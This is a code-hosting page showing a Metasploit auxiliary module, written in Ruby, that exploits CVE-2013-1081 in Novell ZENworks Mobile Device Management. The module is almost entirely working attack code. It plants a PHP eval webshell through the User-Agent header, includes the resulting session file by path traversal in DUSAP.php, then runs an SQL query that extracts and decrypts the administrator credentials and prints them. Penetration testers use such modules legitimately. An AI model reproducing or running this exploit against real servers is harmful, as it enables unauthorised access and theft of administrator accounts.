PageRenderTime 61ms CodeModel.GetById 31ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/scanner/http/novell_mdm_creds.rb

https://github.com/Jonono2/metasploit-framework
Ruby | 120 lines | 99 code | 17 blank | 4 comment | 6 complexity | acc3f3655905480a71f995098ed9fee3 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-3.0, LGPL-2.1, GPL-2.0
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpClient
  8. include Msf::Auxiliary::Report
  9. include Msf::Auxiliary::Scanner
  10. def initialize
  11. super(
  12. 'Name' => 'Novell Zenworks Mobile Device Managment Admin Credentials',
  13. 'Description' => %q{
  14. This module attempts to pull the administrator credentials from
  15. a vulnerable Novell Zenworks MDM server.
  16. },
  17. 'Author' =>
  18. [
  19. 'steponequit',
  20. 'Andrea Micalizzi (aka rgod)' #zdireport
  21. ],
  22. 'References' =>
  23. [
  24. ['CVE', '2013-1081'],
  25. ['OSVDB', '91119'],
  26. ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
  27. ],
  28. 'License' => MSF_LICENSE
  29. )
  30. register_options([
  31. OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/'])
  32. ], self.class)
  33. register_advanced_options([
  34. OptBool.new('SSL', [true, "Negotiate SSL connection", false])
  35. ], self.class)
  36. end
  37. def setup_session()
  38. sess = Rex::Text.rand_text_alpha(8)
  39. cmd = Rex::Text.rand_text_alpha(8)
  40. res = send_request_cgi({
  41. 'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
  42. 'method' => "HEAD",
  43. 'uri' => normalize_uri("#{target_uri.path}", "download.php"),
  44. 'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
  45. })
  46. return sess,cmd
  47. end
  48. def get_creds(session_id,cmd_var)
  49. cmd = '$pass=mdm_ExecuteSQLQuery('
  50. cmd << '"SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1"'
  51. cmd << ',array(),false,-1,"","","",QUERY_TYPE_SELECT);'
  52. cmd << 'echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
  53. res = send_request_cgi({
  54. 'method' => 'GET',
  55. 'uri' => normalize_uri("#{target_uri.path}", "DUSAP.php"),
  56. 'vars_get' => {
  57. 'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
  58. cmd_var => cmd
  59. }
  60. })
  61. if res.nil?
  62. print_error("Connection timed out")
  63. return "", "" # Empty username & password
  64. end
  65. creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
  66. return creds.split(":")
  67. end
  68. def run_host(ip)
  69. print_status("Verifying that Zenworks login page exists at #{ip}")
  70. uri = normalize_uri(target_uri.path)
  71. begin
  72. res = send_request_raw({
  73. 'method' => 'GET',
  74. 'uri' => uri
  75. })
  76. if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
  77. print_status("Found Zenworks MDM, Checking application version")
  78. ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
  79. print_status("Found Version #{ver}")
  80. session_id,cmd = setup_session()
  81. user,pass = get_creds(session_id,cmd)
  82. return if user.empty? and pass.empty?
  83. print_good("Got creds. Login:#{user} Password:#{pass}")
  84. print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
  85. report_auth_info(
  86. :host => ip,
  87. :port => rport,
  88. :sname => "novellmdm",
  89. :user => user,
  90. :pass => pass,
  91. :active => true
  92. )
  93. else
  94. print_error("Zenworks MDM does not appear to be running at #{ip}")
  95. return :abort
  96. end
  97. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  98. rescue ::Timeout::Error, ::Errno::EPIPE
  99. rescue ::OpenSSL::SSL::SSLError => e
  100. return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
  101. end
  102. end
  103. end